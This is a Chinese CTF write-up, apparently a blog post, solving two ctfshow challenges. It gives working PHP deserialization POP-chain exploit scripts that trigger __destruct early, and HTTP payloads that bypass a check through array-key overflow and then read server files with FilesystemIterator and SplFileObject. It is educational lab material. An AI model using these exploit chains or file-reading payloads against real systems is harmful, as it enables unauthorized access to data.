ctfshow卷王杯

ctfshow卷王杯

写在前面:这次的做出一道php题,通过这次的比赛,深入理解反序列化漏洞,通过复现学到了很多新的点

参考一篇特别详细的wp

eazy unserialize(复现)

源码

<?php
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

1、了解__destruct魔术方法

在这里插入图片描述

结合题目源码

$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");

必须在异常抛出之前执行析构函数,达到利用__destruct的目的

调用__destruct方法

  1. 等待程序执行完毕,也就是执行完最后一行代码
  2. 利用GC回收机制
  3. 利用unset主动销毁
    在这里插入图片描述

在这里插入图片描述

通过测试发现确实提前执行了__destruct析构函数
在这里插入图片描述
方式一、将序列化后的结果

a:2:{i:0;O:4:"Demo":0:{}i:1;N;}

改成如下形式,即可触发GC回收机制

a:2:{i:0;O:4:"Demo":0:{}i:0;N;}

方法二、破坏序列化的结果,使其不完整,从而触发GC回收机制
在这里插入图片描述

通过本地测试,破坏序列化结果也可以实现提前销毁对象,执行__destruct函数

2、构造pop链

one::__destruct => seconde::__call => second::addMe() => one::__toString=> third::__get => one::MeMeMe()

这个链子很好找,但是存在one这个类被反复调用的情况,通过实例化两个one对象来避免

另外怎么在third::__get中调用one::MeMeMe()函数,并且满足if条件

看下终点这个函数

<?php
public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
array_walk使用类的方法
<?php
highlight_file(__FILE__);
class Demo{
	public $object = "This is a test";
	public function MeMeMe(){
		array_walk($this, function($fn, $pre){
			echo $fn."|".$pre;
		});
	}
}
$a = new Demo();
$a->MeMeMe();

在这里插入图片描述
所以在one这个类中要构造

public $year_yarm = array("Happy_func");
调用MeMeMe函数

使用数组调用类的方法来调用MeMeMe函数

[new one(), "MeMeM"]

__get中的调用过程

在这里插入图片描述

最后形成exp

<?php
highlight_file(__FILE__);
class one {
    public $object;
    public $year_yarm = array(0=>"Happy_func");
    
}

class second {
    public $filename;

}

class third {
    private $string;
    public function __construct(){
        $this->string = array("string"=>[new one(), "MeMeMe"]);
    }

}
$a = new one();
$b = new one();
$c = new second();
$d = new third('haha');
$b->object = $d;
$c->filename = $b;
$a->object = $c;
$n = null;
$payload = array($a, $n);
echo urlencode(serialize($payload));

生成payload,将红色圈出来的修改为零即可

在这里插入图片描述

附官方wp

<?php
class one {
    public $object;
}

class second {
    protected $filename;
    public function __construct($filename){
        $this->filename=$filename;
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }
}

$a3=new one();
$a2=new one();
$a1=new one();
$a1->object=new second($a2);
$a2->object=new third(['string'=>[$a3,'MeMeMe']]);
$a3->year_parm=['Happy_func'];
echo urlencode(serialize($a1));

然后去掉一个}的编码,传参即可

eazy web

php的内置类参考文章

网页源代码中有提示,存在源码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4I9OOTIQ-1646442635708)(images/卷王杯/image-20220304125151887.png)]
源码

<?php
error_reporting(0);
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    echo "\$flag_filename = 'flag'.md5(???).'php';";
    die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
    $c = $_POST['c'];
    $count[++$c] = 1;
    if($count[] = 1) {
        $count[++$c] = 1;
        print_r($count);
        die();
    }else{
        $a = $_POST['a'];
        $b = $_POST['b'];
        echo new $a($b);
    }
}
?>

分析:传入三个参数a、b、c,可以利用的点在else块中类,所以要有让判断条件进入else

第一点

绕过if条件为真的情况,通过数组键的值溢出报错导致不进入if条件里

263 - 2 = 9223372036854775806 (这里的指数看系统的位数)

第二点

利用php自带的类进行文件读取操作

找到一个查找自带类的脚本

<?php
	$classes = get_declared_classes();
	foreach($classes as $class){
		$methods = get_class_methods($class);
		foreach($methods as $method){
			if (in_array($method,array(
				'__destruct',
				'__toString',
				'__wakeup',
				'__call',
				'__callStatic',
				'__get',
				'__set',
				'__isset',
				'__unset',
				'__invoke',
				'__set_state'
			))){
				print $class.'::'.$method.'\n';
			}
		}
	}

需要查找文件目录和能读取文件内容的类

这里参考http://blog.m1kael.cn/index.php/archives/12/,利用文中提到两个类进行文件读取

SplFileObject读取文件

FilesystemIterator遍历路径下的文件

读取文件目录

payload

a=FilesystemIterator&b=.%2F&c=9223372036854775806

读取文件还可以用glob协议,数字5可以用burp爆破一下,出现503多试几次
payload

a=FilesystemIterator&b=glob:///var/www/html/flag5*&c=9223372036854775806

在这里插入图片描述

读取文件内容payload

a=SplFileObject&b=.%2Fflag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值